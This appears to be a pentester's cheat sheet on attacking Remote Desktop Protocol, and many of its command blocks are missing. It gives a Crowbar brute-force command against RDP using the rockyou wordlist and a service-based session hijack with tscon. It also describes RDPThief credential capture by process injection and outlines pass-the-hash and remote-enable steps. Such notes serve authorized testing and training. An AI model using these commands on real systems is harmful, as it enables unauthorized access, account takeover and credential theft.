Pentesting RDP

CROWBAR

  • Remote desktop protocol with Crowbar

    • Crowbar is a network authentication cracking tool

sudo apt install crowbar
  • Make a suitable wordlist

  • Attempt to bruteforce RDP

crowbar -b rdp -s $host/32 -u admin -C /usr/share/wordlist/rockyou.txt -n 1 -v 
# -b protocol # -s target server 
# -n number of threads (RDP doesnt reliably handle multiple threads)
  • If errors are encountered like: File Not Found, convert the wordlist to UTF-8

iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt > rockyou_utf8.txt

RDP Session Hijacking

  • Must have SYSTEM privs

query user
  • https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon

tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} 
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0" 
net start sessionhijack

SHARP RDP

RDP Thief

  • rdpthief.dll must be on the local machine

  • Modify C# source with the location of the hidden RDPThief.dll on disk

  • C# RDP-Inject.exe runs in a while loop and injects into each RDP process in order to capture credentials from RDP

  • Dump captured credentials

  • The above command pulls RDP-Thief from a remote webserver and loads it via powershell reflection. Ensure you update the arguments in the above command

Screenshot the Desktop

  • You can take a screenshot of the desktop if NLA is disabled

  • with netexec

  • Resolution with WxH Default 1024x768

Enable RDP via Crackmapexec

Enable RDP via Registry

Enable RDP access for user

Remove Remote Desktop Access for user

If PTH is Disabled

  • Enable Restricted admin

RDesktop

RDESKTOP

  • Mount folders using RDesktop

XFreeRDP

  • All security certificates should be ignored

  • Mount a folder on our attacker machine to the target machine

  • Some other xfreerdp commands with options that have been helpful in the past

Pass The Hash RDP

  • If PTH is disabled, enable restricted admin

PTH RDP From a Windows machine

Nmap

RDP Security Check

Last updated